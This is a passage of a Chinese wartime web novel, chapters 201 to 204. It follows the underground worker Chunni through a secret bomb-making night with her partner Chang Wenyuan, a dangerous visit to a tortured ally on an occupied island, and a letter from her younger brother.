然而越来越多老师的离任也的确说明了,学校招收两千名学生的盛况,很可能成为倭据这段时期最后的辉煌。甚至学校能办到哪一天,还要看春妮对剩余这些财物如何利用。 想起时局和处境,不免让人沮丧十分。 有时候春妮临窗凭眺,看到的十个路人,包括孩子在内,有九个脸色都是灰暗的。 在这种灰暗的整体氛围下,但凡有一个人脸上有笑容,那都是扎眼到让人有点牙根痒痒的。 这一天放学后,春妮就看到了这么一个人。 他关上门,神神秘秘地走到她面前,并目露兴奋:“上回你答应我的好处,该给我兑现了吧?” 春妮习惯性装傻:“什么好处?” 常文远兴致勃勃:“有个事我一直想做好久了,但一个人又做不了,必须再多一个人跟我一起做。你若是肯答应,就算你还了我的情,怎么样?” 春妮有些警惕:“什么事,你先说。” 比请人下馆子吃饭还难做到的事,能是什么好事?这人说得越轻松,春妮越是觉得要保留警惕。 200-210 第201章 201 甜香 此时宵禁已经过去半个钟头, 春妮按照计划备完明天的课,换上了睡衣,预备先去位于走廊的洗漱间洗漱, 恰在这个时候, 跑来敲门的常文远便显得异常可疑。 这个可疑的家伙偏偏还在这时候提出了一个可疑的要求。 “什么不可描述的好事,一个人做不了,还非得在半夜三更的两个人一起做?” 春妮心里嘀嘀咕咕,却还是在这家伙的催促下重新换上外出的衣服,跟他隐在黑暗中出了门。 两人合作数年,常文远一向靠谱,从来没坑过她, 这点信任,春妮还是愿意给他的。 她不会想到, 一向最可靠的合作伙伴会在今天给她放个大卫星。 二十分钟后,春妮站在一间废弃厂房前,几乎陷入癫狂:“你要在租界里做炸|药实验,你疯啦?” “嘘!嘘!嘘!你小声点, ”这人这时候倒知道紧张了:“我不是刚刚说过,不是炸|药实验, 是做一点炸|药,炸|药!” “那有什么区别?我问你是不疯了,这种高烈度危险物品, 你居然在倭国人眼皮子底下制作,还没有任何防火防爆材料保护, 你不要命了?” “我也是不得以嘛。你知道的,倭国人封锁整片海疆,全国各地弹药奇缺, 我已经半年多没有得到总部的补给。其他的物资费点心思,我都能弄到,唯独这个,就算我去偷去抢,也没地方偷到……我必须作两手准备。” 春妮沉默片刻:“……最近是不是有行动?” 常文远果然道:“这个问题,你不该问。” 春妮径自道:“我们物资组不应该负责这种行动吧。” 常文远:“……我只能告诉你,由于倭国人连续不断清理江南一带的反抗组织,上个月,我们海北一带的组织受到了极大的破坏,有一位高层落入敌人手中叛变,他供出了我们在市区内地下组织的部分人员情况。海城方面毫无准备,组织受到重创,多名人员落入倭人手中,更多人被迫转移。我们物资组因为单独成线,受到的影响最小。在今后的一段时间内,接替人选到位之前,我们也将承担更多的工作。” 她早该想到的,倭国人对城市的全面掌控,也意味着他们有足够的精力抽出来,对城市周边的反抗势力进行深度清缴。整座海城失去租界这两块唯一相对安全的藏身地,再有了大批帮派分子的倒戈,倭国人必然如虎添翼。这两者相加起来的破坏力,在经济和民生领域受到的影响反而有可能是最小的。 拔起萝卜带出泥,春妮想起至今生不见人的季老师,对学校突然遭遇的厄运有了数,想必组织内部这段时间也正经历着比学校更为惊心动魄的动荡,她终于不再说话。 常文远:“我已经做过很多遍论证,绝对不会出问题,你信我。” 春妮:“你直接告诉我,需要我做什么吧。” 为方便来回,常文远选择的地址离住处不到一公里,在毁于七年前的战火前,这里曾是一间民间图书馆的馆区。也不知道常文远是怎么找的,实验室就设在这片废墟的地下,原来图书馆的地库,据说那里以前专门存放一些需要避光保存的古籍残片。 现在这间半塌的地下室仍有些许散落的残片,被常文远清理出一小片,刚好用来做炸|药实验室。 因为灯光能够通过废墟照出来,常文远交给春妮的主要任务是帮他警戒,最要紧是要注意观察灯光会不会引来巡逻人员。但春妮看他凑近煤气灯,往酒瓶里小心翼翼灌注液体的模样,十分不放心。 “你做的是液体炸|弹?”她问。 “知道的还不少,的确是液体炸|弹。没办法,火|药硫磺都太紧俏,黑|市里价格过高,我只有用香蕉|水做一些先顶上。不过别看它们是流动的,使用起来,威力比一般的手|雷大多了。” 春妮哪会不知道?她没在这个年代用过液体炸|弹,但她对其不稳定的特性记忆犹深,这可是力度稍大,煤气灯里溅起一点火星,就有可能引起大爆炸的烈性炸|药!威力越大越可怕啊! “为什么不用手电?你知道这灯多危险吗?”她问。 “电池用完了,买不到新的,先将就一下吧。” 春妮看他只用一只玻璃漏斗就将足够掀翻整条街区的液体兑进瓶子里,视线一秒钟都不敢从他手上挪开。他可是第一次制作,这种时候,春妮不要说听他的话去巡逻警戒,要不是不好打断,她恨不得自己推开这人亲自上手,力求万无一失。 而常文远这时也因为到了关键一步,他动作异常小心地将瓶子用木塞塞紧,没等放进箱子,春妮眉尖一动,闪身出门。 狭窄的巷子外,“笃笃”的脚步声向这个方向传来,巷口那边,手电筒的光芒忽明忽暗,向这个方向探照过来。 春妮蹿回地库门口,急声道:“有人来了,快吹灯!”说完,就手合上门,跳了进来。 常文远是老手,尽管手中仍握着足以将自己炸成炭灰的危险品,仍是稳稳地将瓶子握在手中,踏前两步制止道:“别再过来了,里面东西不能——” 一具身体猛地贴住他胸膛,两人都是一愣。 不等常文远再朝后退,肩膀被一只手按住,耳边热气呵成小小的风流:“别动,人来了。” 春妮这话说完的同时,常文远也听到了地上的声音,除了脚步声,还有一些说话声。 这间地库有一处地方被炸缺过口子,尽管进行了简单的修补,但因为要用来做秘密实验,一切都由常文远就地取材,匆忙之间由他亲自动 手,自然没法补得天|衣合缝。常文远担心那些倭国人看到了缝隙中透出的光,想弄明白他们在说什么,不觉身子前倾,前倾…… “唉呀,你干什么?” 这人再往前靠过来,春妮就要被迫跟他再度贴身了! 常文远这才意识到不妥,身子往后再撤时,想到身后的那堆宝贝,心中一惊,又滞在了原地。 进退不得,左右为难,竟是他近日以来从未有过的尴尬局面。偏偏面前的小姑娘又不安分起来,低下头不知在他胸前干什么。 初秋的海城尚穿着薄衫,隔着衣物,常文远似能感觉到那颗毛茸茸的小脑袋在他胸膛拱来拱去,拱来拱去…… “你——”他的声音有一丝自己都没觉察到的发涩。 春妮浑然不觉这暧昧的姿势:“你有没有闻到什么味?是不是液体炸|弹漏出来了?” “什么?”这下常文远什么心思都没了,赶紧跟春妮一起从头到脚检查了一遍,还好应该是刚刚两人相撞时,他手里的瓶子溢出了一些,不是什么大问题,再将瓶塞拧紧即可。 只是香蕉|水的味道浓郁,即使只漏出了一丁点,刺鼻甜香的味道在短时间内仍然霸道地占领了这间小地下室的每一寸空间,让春妮忍不住抽动鼻子,打了个喷嚏。 这时她才觉察到,她似乎挨对方挨得过近了,不觉退后两步,一时不知道该说什么。然而两人包裹在无处不在的甜味中,似乎这后退的两步并没有拉开理想的距离。 “我——”常文远清了清嗓子。 只听春妮声音忽然一变:“他们又回来了,你在这待着,我去引开他们。”说完,她抽开木板,翻身上了地面。 常文远只能咽下那半句“能不能点灯”,握紧瓶子,身体紧贴在地板下方,全神贯注地听着。 春妮的出现果然让那队倭国兵有所警觉,他们很快大喊出声,并追了出去。 春妮带走了所有的声音,地库里重新安静下来,常文远数着自己的心跳,仿佛已经融入了黑暗之中。绝对的黑暗让时间失去了概念,甜香的味道很缓慢地逃出这间低矮的小小空间,使得刚刚那一瞬间的记忆也流逝得异常缓慢。 常文远慨叹地发现,这个当年又黑又瘦的小姑娘,她也长大了啊! 他明明很熟悉她,可在刚刚,他仿佛才认识到,这个他逐渐倚重的下属和同伴,也不过是个刚成年的小女孩。 这很奇异,他记忆中的小女孩一直没有变,却在刚刚,又变了一些。 变了什么,他暂时没想出来,因为头上又有人来了。 三长两短的敲击声让他放松下来,很快,春妮的脸出现在上方:“不是那些人,两个车夫经过。你可以上来了吗?” 常文远点点头,想起她这时看不见,忙又出声:“可以,等一下。” 春妮伸出手,准备拉他一把,等了一会儿,没见他握上来,不由奇怪:“怎么了?” “没什么。”常文远感觉自己的脸有些热。 春妮帮他将出口掩好,凑近他低声道:“不过这地方密封性不行,咱们是不是该早点另外找个地方筹备搬家?” 常文远正要答话,春妮突然一把拽住他,将他拉进一面墙背后。两人贴墙而立,春妮几乎被他半拥在怀中,两人如临大敌,却只听一声“喵呜”,是一只野猫蹿下了墙头。 “呃……”春妮哭笑不得,今晚她真有些草木皆兵了。 常文远的表现却比她还夸张,他猛地后退两步:“快回去吧。” 春妮被他带得心跳快了些,不及多想,赶紧跟在身后,离开了这条幽僻的小巷。 直到晚上躺上床时,一个念头止不住地浮上她心间:今天真是个慌乱又奇怪的晚上。 第202章 202 祖宗 就像投入湖心的小石头, 即使有那么一小会儿泛起涟漪,也不足以在平静的湖面上激起多大的浪花。 何况春妮的这片湖刚刚经历过洪水肆虐,余波动荡至今。她不止要在浪大时小心掌舵, 即便是在日趋平静的现在, 也要足够警惕湖面下的暗流,实在没有闲心再投入精力去关注自己的内心世界。 但有些东西,还是悄悄地改变了。孤男寡女同居一室,男人英俊有风姿,而姑娘青春俏丽,实在让人想刻意忽视也难。 事情的变化在两人同时出门,不经意相撞, 却又同时避开的眼神。变化在空气里多出的男士香水味,洗漱间里那一罐夏士莲雪花膏, 还有某人坤包里的那支丹祺口红。 一夜之间,春妮忽然就是个大姑娘了。每天出门前,再匆忙她也不再忘记拧开口红,对着镜子轻轻点一点, 只添一丝血色。发梢上再别一朵小小的雏菊,或是一小串丹桂, 隆冬未至,春意已先吹拂到她发带的颜色上。俏丽的鲜碧,热烈的火红以及温柔的浅蓝……这是一个大女孩的小小心机。 这段时间, 常文远已逐渐习惯步出房门前,先在心底猜一猜, 她今天会挽一个蝴蝶结,还是穿山式,还是双飞燕, 还是入水龙……不知不觉,他给一墙之隔的那位小姑娘发式起了许多名字,只是一个也没有叫出口,这是独属于他自己的小缱绻。 而那一夜过后,这栋房子似乎变得异常狭窄,哪哪都是另一个房客存在的痕迹。他回来时,草木淡香味先飘进来,而他走后,阳台外的尼古丁味久久不散。 在春妮和常文远结成秘密同盟的这段时间,王老师被放出了监狱。 春妮得到消息,去探望她时,得知她和丈夫一家人已经回了老家,连在英租界弄堂里的老房子都委托邻居租了出去。 同事六七年,她竟连最后一面也没有见到王老师。 春妮有预感,监狱里肯定是发生了什么事。可惜她再见方校长他们时,林老师和他两个人统一口径似的,都说什么事也没发生,让她不要多想,先想办法增加更多的课堂,才是最要紧的事。 目前学校陆续增加了三十多个流动课堂,大部分由热心商户提供。都是东一块西一块,并不集中不说。这么多稀碎的小课堂,极是考验师资力量,牵扯教师的精力,每天老师们奔波在不同小课堂上上课,都要浪费很多时间,再加上小课堂要以商户的经营需求为先,经常上到半路不得不解散。这些问题说起来都不大,累积起来也是严重拖慢课堂效率的存在。 为了处理这些鸡毛蒜皮的事,春妮每天往返于各个教学点,即使以她的体力,也逐渐觉得疲于奔命。 也就是在这个时候,她总算得到了疑似王阿进的消息。 消息是毛二娃告诉她的。 那年春妮被救出监狱之后,让毛二娃到他们学校报了个夜间班学认字,还学了点书法运笔姿势。后来他因为字写得好(主要是学会了拍马屁),被川上狱长经常带在身边帮忙誊抄华文文件,竟就此发了家。 毛二娃十分明白上进的要紧,认字之余又学了些简易的倭文,使得川上狱长有时出门也愿意带着他跑跑腿,他借此认得了不少倭国底层军官,这次的消息,便是他从一间郊县的黑狱狱长那里打听来的。 春妮没敢第一时间通知王阿进的家人,因为毛二娃说:“被折磨得不行了,听说就剩一口气。妹子你要去看,赶紧的吧,咱们这就上车。” 春妮只顾得上在路边包圆了一大包红糖烧饼,便跟着毛二娃跳上他的边三轮,紧着追问:“怎么就剩一口气了?二娃哥,你跟我好好说说。” “这我那兄弟也不清楚,说是人送来的时候,全身上下没一块好皮。几回都以为不成了,却又吊着一条命等到了现在。就是那人脸上像是被狗咬过,又脏得要命,偏偏他还整天昏着醒不来,我那兄弟对着相片看好长时间,也只有五成的把握,不敢保证一定是他。” 毛二娃当上半个狱长秘书之后,人也细致精明了不少,又说:“就是有个事我先说清楚。即便是白累你跑这 一趟,该给的打点也要给到,我不能让人白帮一回忙。” “那是应该的。大半个月了,只来了这一个消息。是不是他,等我去了就知道了。”说着,看见路边一个药店,唤毛二娃停下来,又冲进去买了点生姜红花三七等药材,连药铺老板娘悄悄留下来给儿子擦的红药水都没放过,扔出手上所有现钱,半抢半买地全卷到了车上。 现在的成药到处都难买,春妮喊出高价,也只搜罗到这些。 毛二娃骑着边三轮,又因身上挂那身黄皮,所过之处畅行无阻。纵然如此,两个人穿街过卡,遇水乘舟,也足足开了一天的车,他才将春妮带到海边,隔海而望,一座小岛已然在现。 毛二娃看了看天色,将边三轮拖到一处草丛中隐藏起来,从座椅下翻出套跟他一样的衣裳,让春妮换上:“岛上两个多月没许人出入,我兄弟也是好辛苦才传消息出来。一会儿天黑了你随我进去,悄悄儿的莫出声,这里看管得可严。要是被发现了,我倒好说,你弄不好就出不来了。” 春妮连声应下,边换衣裳边去看那岛,只见小岛边缘一圈,全部用高达七八米的铁丝网围拢,最上端遍布边缘锋利的薄铁片。俨然是一处防守严密的军事据点,心知他说得不错。 天色黑尽,两人又等了个把钟头。看见一点光束从小岛对面晃过来,上下点了三点,毛二娃扭头招呼春妮:“人来了,走吧。” 对面岛上驶出一条小木舟,撑船的人头戴钢盔,罗圈腿,看见他们只沉默地点了点头,便槁头一点,驶离了岸边。 毛二娃有些不安,递上一支烟,笑着同那人倭华语混杂地搭话:“这位兄弟,你贵姓啊?” 那人接了烟,在鼻尖嗅嗅,却侧开身子不答话。 这时一片月光打来,毛二娃看清这人钢盔下的面目,吓得轻轻一个哆嗦,拽紧了春妮的袖子。 春妮早就看清,这人应是被炮弹炸伤过,下半片嘴唇不翼而飞,另半片嘴唇连同那剩下的半口牙齿一起,在嘴巴的位置组成了一个黑黑的洞口。 她拍拍毛二娃以示安抚,两人跟在那人身后默默上岛。一座至少三层的堡楼兀立在海岛最边沿,绕过堡楼,一些低矮的土房呈两列分列在堡楼后面,应该是原先岛民们的住处。 夜色刚至,除了海风穿过街道的呜鸣声,其他的声音和光亮仿佛都被吞噬了。 毛二娃所说的“兄弟”是这里一个驻岛的倭军下士,他在其中一间民居里等着两人。房子的主人不知被赶去了哪,除了这个下士,房中另一个人偏头躺在稻草铺的床上。 春妮接过煤气灯,往那人脸上照去。纵然以她的见识,也没忍住倒抽一口凉气。 床上那人下半张脸连着脖子的肉全烂了,流着脓水,发出让人欲呕的恶臭味。再看他露在外面的皮肤,两只手腕露出白骨,上面的皮肉已经不见了。 旁边,这位下士说:“他送来的时候已经是这样了,只剩下一口气,你有什么话赶紧说,说不定今天或明天人就死了。” “劳烦您,有没有热水?我想先帮他清洗一下。”春妮拂开这人额上的乱发,他确实是王阿进。 “请等一下。” 房屋的主人很快端来热水,另有一小碟盐。春妮从腰间翻出一柄匕首,请毛二娃帮她掌灯,将露在外面的伤口先作了个简单的清创,开始帮他脱衣裳。 王阿进身上还穿着被抓走那天的黑色夹衣,衣服上洇着大片干涸的污渍,已经板结成块,跟皮肤粘黏在一起。春妮一点一点剥下他的衣服,实在脱不下来,就拿匕首割开。 如果不是这具身体时而搐动一下,几乎已经是个死人。 “呜……”毛二娃突然抽泣一声,见春妮看过来,胡乱抹了把眼泪:“我没事,妹子。我就是,就是在想,有些人活着,怎么就这样艰难?” 春妮俯下身来,也不管他听不听得见,附在王阿进耳边,道:“阿进,我答应你。这次你要是能活着,往后不管再难,有我一口吃的,就绝不少了你家的。你可要争点气,一定要活下来。知道吗?来前我还看见你媳妇领着你儿子在码头边捡煤核,你不能丢下他们不管哪。” 又不知是安慰毛二娃,还是说给自己听:“有些人没富贵命,就像山头的杂草,一把雨水飘两滴,就能活下去。没事的,一定会没事的。” 倭国人进租界之后,王阿进想在春妮这找个能长久干下去的活,但春妮实在顾不上他这头,加上他还有个给倭国人干事的哥哥,也不能十分信他,便敷衍着没答应。春妮每回敷衍他,他也不恼,隔两三天的都要来看她一回,问上一句。 这回要不是他仍像以前一样来了,季老师这事,还不知会是怎样一个了局。 春妮话音落下没多久,床上的人眼皮居然动了动,睁开了。 他视线空茫,直定定转到春妮的身上,忽然咧出个笑来:“小顾姐,你给我的差事,我,我可办妥了?” 春妮胸中一哽,忙跟着咧出个笑:“妥了。你办事,我再没有不放心的。” “那,那可是,”王阿进疼得脸上变形,奋力笑出一脸青筋:“小顾姐,你还记得不?那年,我跟夏生小弟赌的誓,我没忘呢。我说的,我哪怕穿倭国人的衣裳,也是华国人,我不能给祖宗丢脸。” 就连春妮都差点忘记,那一年,王阿进穿上倭国人的衣裳装成倭人,在倭人聚居区卖果子,不意跟夏生在街头相遇,夏生骂他给倭国人戴孝,他像孩子似的,气得跟夏生吵嘴分辩。两人赌气说的话,竟用这样的方式兑现了。 他真的没忘。 春妮别过脸去:“我知道,你是条汉子,没给祖宗丢脸。” 第203章 203 强大 春妮是在第二天凌晨, 随着早上进城的第一波人流回到的海城。 天色未明的仲秋之际,路边乔木吹过一晚寒风,黄绿的叶片上仍覆着层浅白的霜色。 春妮跳下边三轮, 她头发上还带着海边的湿气, 双手紧紧抱住臂膀,首先打了个喷嚏。 昨晚她帮王阿进清理完之后,见他穿的实在单薄,将自己外套里头套的一件线衫脱下来留给了他。又坐在边三轮里吃了一晚的冷风赶回来,喉头已隐隐有些发痒,怕是要着凉了。 不知道厨房还有没有生姜,等会儿记得熬碗姜汤再去上班。熬汤的时候可以在沙发上靠靠, 也不用回房去睡了…… 春妮打开别墅的木栅栏,听见咔哒一声, 走廊外的灯亮了。 常文远披着睡衣,在门里冲她招手:“听见声音就知道是你回来,愣着干什么?你不冷吗?赶紧进来。” 春妮吹了一夜风的脑袋还有些发木,愣愣地随他进屋。 一楼的客厅中, 只在角落处燃了盏落地台灯,暖黄的灯光洒在棕绿的绒布沙发上, 晕出一圈温柔的光圈。 春妮忍不住打了个呵欠,看见台灯旁边圆桌几上反盖的书本,忽然想到了什么, 回头:“你一晚上没睡,在这等我?” 常文远不答她:“你先在这靠一会儿。天亮了还得去上班, 毯子在旁边,自己盖上。” 这时,厨房里, 水壶开始吹出高亢的哨声,水开了。 常文远起身去厨房给倒完水,给自己泡了杯浓咖啡,递给他一杯朱古力粉:“先喝点甜的暖暖胃。” 春妮接过杯子,有些不知所措:这一向都是她照顾别人,除了她妈和她奶奶,她长这么大,还没被人这么照顾过,她浑身不自在。 “你这么忙,不必等我的……” 又想到她走得匆忙,只来得及同当时在课堂的老师交代一声,就跟着毛二娃出了城,也不知他收没收到消息,这一晚是怎样过的。是不是,是不是因为担心她一晚上没睡? “快喝吧,一会儿该凉了。”常文远温声催促。 腾腾的热气蒸得春妮眼酸,她借裹毯子的动作揉了把眼睛,觉得该说些什么:“对不住,累你等我。” 一只手覆在她的手背上:“什么话?以你我的情份,不必多说。” 常文远所见到的女孩子以往总是精神饱满,神采熠熠地出门迎接每一天,即使遇到再大的困难,也从未丧失过斗志。她似乎有种魔力,总能让人不自觉地认为她是个什么麻烦都能摆平,值得信任的朋友和同伴。常文远粗粗回想一遍,这竟是他头一回看见神情委顿,情绪低落的顾春妮。 尽管知道做这一行的规矩多,他不该乱打听,可还是问了出来:“你是不是遇到了什么困难?不介意的话,可以说出来,我看我有没有办法。” 春妮没有他那样婉转的顾虑,从她到海城来,经历过的苦难远多过欢愉,尤其是昨晚过得糟糕至极。如果她像刚来时那样独善其身,也能落得个清净无忧,但这些年她投入了这么多感情和心血,许多事早已无法超脱物外,隔岸观火。心里的事越积越多,却不知向谁诉。 常文远的话就像一柄钥匙,让春妮找到了出口:“我找到了王阿进,他的情况很不好。” 或许是过于疲惫,春妮的心防不再那样深,这句话说出来,她整个人轻松了一大截,又将王阿进的情况慢慢说了。 关于王阿进被抓走那天的情况,因为有个倭国人在身边,王阿进的伤情也不允许长时间说话,两人聊得并不多。但只三言两语,也足够她弄清楚王阿进在里面做了什么。 那天王阿进被撵出校门后,原本跟其他摊贩混在一起蹲在街头琢磨春妮最后交代的话,离街头大榕树边隐蔽的两个倭国兵不远。他知道春妮并不喜欢随口扯瞎话,很快如春妮所料,猜到倭国兵这次的行动,她口中的“码头上的老师”季老师肯定是关键人物。恰在此时,弄堂外面,他听见季老师的声音,她运气极好,正边往学校走,边唱着她家乡的梆子,十分来劲。王阿进来不及多想,随手拿出两只桔子,装着巴结的样子,跑到两个隐藏在树后的倭国兵身边,请他们吃桔子。 他跟那两个人拉拉扯扯,让正要步入弄堂口的季老师看了个正着,她十分警觉,立刻退出去,在倭国人认出她之前跑了个无影无踪。 再之后发生的事,包括常文远在内,学校上下都已经知道了。 “阿进前几天一直被关在华界的一处宅子里。倭国人以为他破坏了自己的好事,并没有怎么审问他,只想折磨他,先是使唤狼狗——”春妮略过这些,道:“阿进命硬没死,那些倭国人不耐烦了,有人说,现在建工事到处缺人,那些人便在前天把他塞进一辆物资车里,送到了海城边的小岛上。其实就是嫌处置尸首麻烦,留他一口气,让人处理了他。” 常文远静静听着,没有插话,他知道,春妮这个时候只需要有人听她倾诉,陪她度过这段身心俱疲的时期。 “……可惜我们是偷偷去的,岛上只有个会熬膏药的草头郎中,岛民们有好几个月不能出入。也没有个正经的大夫,只给他留了些药。可我看他的情况不能再拖延了。我本想多给点钱,先想办法把他捞出来,这事只能偷偷来,可阿进的身子不能再经受一次颠簸,真的难办。” “那你想好怎么通知王家人了没有?” 春妮揉了揉脑袋,烦恼道:“阿进求我别告诉他家里人,我明白,他这个情况很玄,说出来也是怕家里空欢喜一场。可阿进老婆隔一两天就要来找我问他的情况,算算日子,今天她肯定又要来,老实说,我怕我面对她的时候会露馅。” 她实在不是个会撒谎的人,又是事关生死的大事,就算过得了当事人亲人的那一关,却是良心难安。她说这些,也是内心中不太赞成阿进的决定,却不好违逆他。 “那你就告诉她!” 沉默一瞬,常文远忽然道。 “我想,如果我的家人遭受这样的事,我一定不想家里人瞒着我。即使我没有能力解决,可我希望大家共同面对,而不是到了最后才知道,什么都做不了。如果这事到后来是虚惊一场,那倒好说,但如果阿进不幸遇难,他家人知道曾经有这个机会,却与之失之交臂,那该是多大的憾事。” “可……”春妮迟疑。 她两世生活的家庭环境特殊,对家庭关系的处理一向不擅长,反而是常文远这个外人,看得比她更明白。 他制止了春妮,坚决道:“别看王阿进嘴里说着不让你告诉家里人,可内心深处,他需要一个理由和支点度过这次的难关,家人的力量非常重要,你这次一定要听我的。我听你说过他那位太太的事,她很坚强,你要相信她能扛过去。” “那我就试试吧。”春妮被他说动后,却叹了口气。 “怎么?还有哪里不妥?” “没有,我在想,阿进这次毕竟是因为我出的事,他现在又是这样,我怎么跟阿进媳妇说?” 阿进本是无辜的人,却明知其中有风险,毫不犹豫听了她的话,又因为春妮的吩咐遭遇不幸。说到底,他是因为对自己信任而出的事。前世人情冷漠,她从未遇到过像阿进这样平时畏畏缩缩,却心中自有公义的人,她过于珍视这样的宝贵心意,反而有些不知该怎样处置了。 “我可以帮你。”常文远脱口而出。 两人同处一室这段时间,都明白彼此的秘密不少,一直默契地保持着某种微妙的距离,不试图跨越界线,过于介入对方的生活。 常文远做事体面,从不会让别人和自己陷入尴尬为难的境地。他知道春妮防心极重,看似人缘很好,热心助人,其实几乎没人可以走进她的心里。他默契地退在她防线以外,从未试图打破。他这个要求太突兀冒昧了,或许会令这个独立强大的女孩子为难,甚至是心生戒备,让两人这段时间好不容易亲近的关系倒退回原地。 常文远想起昨晚回家,站在家外第一次没看到二楼如约亮起的灯,自己那一瞬间的张惶。 我不后悔。他想。 他凝视着这个缩在沙发里的女孩子:她第一次像个孩子一样,露出了心中的无措,这是他从未见到过的,属于女战士那柔软的一面。他前所未有地察觉到,这个女孩子她并非生来强大,她就算在所有人面前是个战士,可她还是个女孩子,一个普通的,刚刚成年的女孩子。 人们习惯了她的强大,似乎忽略了,她背负得太多,承受得太多,却没有问一问,她累不累,想不想歇一歇。 “你?你能怎么帮我?”沉默中,她再次开口。 这一刻,没有谁能形容得出常文远心中的欣喜。他像怕惊动了什么似的,轻声道:“交给我,你先什么也别想,好好睡一觉吧。” 喝完一杯热热的甜品,春妮也是真的困了,她揉了揉发涩的眼皮,如同叹息:“这种日子,到底什么时候是个头啊……” 睡眼朦胧中,似乎有人说了一句:“再苦再难,有我,我陪你,我们一起走下去。” 是嘛,那样也不错…… 春妮咂了下嘴巴,不知有没有说出这句话。她手里热乎乎的,好像有人塞了个水瓶到她手里。 她不自觉抱住这暖烘烘的热源,露出了孩子般恬适的笑意。 第204章 204 报喜 “长姐尊安: 见字如晤。夏日一别, 不觉将近三月。弟已于七月底顺利回到老家。弟本应于抵达之初,即刻提笔报知平安,但战火相隔, 两方通信不便。回家次日, 又因年纪不够,弟与几位同学分别,独自进入老家一所战时中学继续求学。老家时有倭寇突袭扫荡,我入校之后,学校搬迁过两次,实在找不到来 海城的远客帮忙带信,故而拖延至今。 不过老家地势复杂, 老乡们也被团结起来,都是我们的耳报神。往往倭寇刚到甚至是还没到, 我们已经收到消息迅速转移。以至于我们虽然遭受过不止一次的扫荡,但并未与倭寇正式照面,姐姐不必担忧。唯一一次在路上碰到几个散兵,还是我跟同学去镇上赶集的时候, 那鬼子当我是小孩,什么也没看出来, 还给了我一块糖。 这样运动式的学校生涯,也极大锻炼了我的意志和体魄。我与同学们用树枝削成木棍,课余时间与同学一起站岗时顺便锻炼, 几无敌手,□□见了也赞不绝口。我便擅自作主, 将姐姐教我的技击术传授给了同学们,非常时期行非常事,想来姐姐不会怪我。 这些锻炼也是我们学校开的课, 不光教我们练功夫,听说还教农民种地,堆肥,警戒,还有打汉奸的,农民们可欢迎我们去上课了,可惜我每天任务太多,没能去旁听。不过□□说了,要是我长到齐他眉毛那么高,他就同意带我去了。我数了数,这三个月我已经长了三寸,再过一个月,我就能长到□□的眉毛高啦。 写到这里,我想起临走前,姐姐怕我到那边之后饿肚子,执意要我背一袋大米,竟是白背了一路。你绝对想不到,我来之后的第一天,负责接待我们的同志(团掉)老乡说是给我们接风,让食堂端了一盆子的红烧肉上来,把我们的眼睛都看直了!现在的海城,除了有钱人,咱们哪还有肉吃?可惜咱们人多,一盆子下来,每个人没分到两块,到底是沾着了肉味。 还有主食,姐姐记得校长家跟玉米棒子一起磨出来的苞米粉?在这里是给猪吃的。咱们这里种小米和高粱,每天小米饭管饱,还有土豆白菜之类的蔬菜。菜的种类虽然不多,但盐分足,就着小米饭吃,我一顿吃四大海碗都没人嫌弃我。听老乡们说,转过年去入了春,满山满树的俞钱儿,洋槐花洋槐叶都摘下来和豆面磨了,放点盐搁在锅里蒸熟,金黄金黄的,跟鸡蛋糕似的,可好吃。 不是亲眼所见,我也不敢相信,这边的日子比海城那样的大城市还好过。 我们□□说,究其原因,还是因为这里的地主全被赶跑啦。农民都有地,不用给地主交租,不用被双城政府扒皮,家家农民袋中有余粮,连我们这些外来人,也养得起了。我观察下来,觉得还有就是,这边物价很平稳,姐姐你敢信吗?猪肉才两毛钱一斤?我这辈子没见过这么便宜的猪肉,就放在市集上卖。 要不是老家连年被倭国人祸害,很多地方农民举家逃亡,良田大片荒置,大家也不至于连这么便宜的猪肉都买不起。 好在在我写信的前两天,上面传来消息,说是为了丰富大伙的伙食,要开展一个大生产运动,到时候番茄丝瓜黄瓜都种起来,生活又能上一个品质了。 总之这里不缺吃的,如果倭国人封锁放松一些,还能从外面带些牙刷牙粉之类的日用品,线衫和围脖这些针织品也是有的。即使没有也没关系,家中带来的衣物够用,我也已学会用柳条刷牙,别有一番滋味。 …… 听闻海城米价已涨到几百块之巨,我随信附上两块银元,交予送信人帮忙转呈。这是我十月帮助老乡收割夏小米所获的报酬,比起姐姐给我的不值一提,然而礼轻意切,是我第一次亲手赚的钱,姐姐千万要收下。 …… 弟在千里之遥,日日盼胜利,盼团圆,盼与姐共赏老家风光之日早日到来! 弟:夏生敬上” 手上的这封信,春妮翻来覆去已看过不下三遍。待要再翻过来看第四遍,一只手覆在信纸上:“看了这么多遍还没够?信上都说了什么?” 春妮将信纸递给常文远,他接过来囫囵看了一遍,不由笑道:“这下你放心了吧?” “放心个什么?怕我担心,他信里写的都是好话。到底是孩子,写到最后可不就漏了馅?”说归这样说,春妮脸上仍是笑意溶溶。 夏生这封信刻意报喜不报忧,但从他字里行间可以看出,大本营那里虽然有倭寇袭扰之忧,日子总体还是好过的。再看他信纸上字迹隽秀,用辞造句明显有提升,显然文化课也没落下,春妮还有什么不满意的? 至于他信上所说的倭寇,担心归担心,但春妮自己都是在动荡中成长起来,深知在这样的年代,任何人都有可能突然面临灾难,他有机会多学点本事,是件极好的事。 要知道,在早几年的海城会战,像他这样大的学生兵响应政府征召,赤手空拳,提着木棍上战场的不知凡几【注1】。哪怕这些学生兵此前连枪都没摸过,他们在战场上的作用只是消耗敌人一粒子弹。 所谓的“十万青年十万兵”【注2】,这些人中,绝大多数都成为了炮灰,活到最后的寥寥无几。 大本营没有马上征调夏生入伍,说明对他这样的少年学生还是很爱护的。 或许是大本营那边有要求,夏生信里对生存环境描写的极少,也不知那里的“猪肉两毛钱一斤”是个什么光景,就连她春妮自己,因为要维持几百人的开销,只进不出,现如今一个月也吃不上两回正经肉了。就是吃得上,多半也蹭的是常文远的光。 海城缺物资是官商勾结,黑心商贩哄抬把持物资的结果,真正的好东西,只要舍得出钱,还是有地方买的。常文远开的是高档菜馆,馆子是组织的财产,重点又不在经营,他每月所得不过略敷己用,自然没钱另外置办好鱼好肉。但馆子金钱关把得再精细,鸡头凤爪,鱼头鱼尾,筋头巴脑的不拘多少,总能剩下点。 他以前都是跟着饭店后堂吃饭,春妮又忙得脚不点地。说起来小洋楼的厨房除了烧水,竟没有用过两回。 